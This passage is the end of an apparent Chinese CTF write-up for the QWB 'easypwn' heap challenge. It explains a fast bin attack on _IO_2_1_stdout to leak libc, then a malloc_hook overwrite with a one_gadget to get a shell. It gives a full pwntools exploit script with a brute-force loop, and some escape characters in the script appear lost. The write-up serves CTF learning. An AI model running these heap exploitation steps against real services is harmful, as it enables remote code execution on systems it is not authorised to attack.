    fast bin attack 将 chunk 分配至 _IO_2_1_stdout 附近,这里也是直接猜测的地址,爆破成功率 1/16 ,然后通过修改 _IO_write_base 达到 leak libc 的目的。

    p.sendline("3")
    p.sendlineafter(":
    ","2")
    edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"
    ")
    add(0x68)
    add(0x68)
    edit(10,"x00"*0x13+p64(addr+0xf0364)+"
    ")
    #gdb.attach(p)
    add(0x10)
    p.interactive()
    

    再次 fast bin attack 打 malloc_hook 为 onegadget ,最后调用 malloc 即可 get shell 。

    exp

    from pwn import *
    
    file_name = './easypwn'
    libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
    
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    
    #p = process(file_name)
    #p = process('./idaidg/linux_server64')
    elf = ELF(file_name)
    
    #libc = elf.libc
    libc = ELF(libc_name)
    
    def add(size):
        p.sendlineafter(":
    ",str(1))
        p.sendlineafter(":
    ",str(size))
    
    def edit(index,note):
        p.sendlineafter(":
    ",str(2))
        p.sendlineafter(":
    ",str(index))
        p.sendafter(":
    ",note)
    
    def delete(index):
        p.sendlineafter(":
    ",str(3))
        p.sendlineafter(":
    ",str(index))
    
    for i in range(100):
        try:
            p = remote('0.0.0.0',9997)
            add(0x68) # 0
            add(0x68) # 1
            add(0x68) # 2
            add(0x68) # 3
            add(0xf8) # 4
            add(0x68) # 5
            add(0x18) # 6
            add(0x18) # 7
            delete(0)
            edit(3,'a' * 0x60 + p64(0x1c0))
            delete(6)
            delete(4)
            
            add(0x68) # 0
            add(0x68) # 4 1
            add(0x68) # 6 2
            edit(3,"a" * 8 + "xe8x37
    ")
    
            add(0x168)
            delete(2)
            delete(1)
    
            edit(4,"x00
    ")
            edit(0,"xddx25
    ")
    
            add(0x68)#1
            add(0x68)#2
            add(0x68)#9
            edit(9,"x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "x00
    ")
            p.recvuntil("x7fx00x00")
            addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
            print hex(addr)
    
            p.sendline("3")
            p.sendlineafter(":
    ","2") # 0 2
            edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"
    ")
            add(0x68) 
            add(0x68)
            edit(10,"x00"*0x13+p64(addr+0xf0364)+"
    ")
    
            add(0x10)
    
            #gdb.attach(p)
            p.interactive()
    
        except:
            print "fail"
    
    

    感谢风沐云烟、 railgun 师傅的指点!

    内容来源

    强网杯-Nu1L

  • 相关阅读:
    WEB前端开发工具的初识
    Linux常见问题的处理方法(长期更新)
    eclipse+tomcat开发web项目
    Android适配--百分比的适配
    TCP通信丢包原因总结
    android 实现类似微信缓存和即时更新好友头像
    是否应该开启WebView硬件加速?
    Android通过浏览器打开app页面并且传递值
    设计模式(五)责任链模式
    Android 最新 Support V4 包大拆分有用吗?
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13587205.html
Copyright © 2011-2022 走看看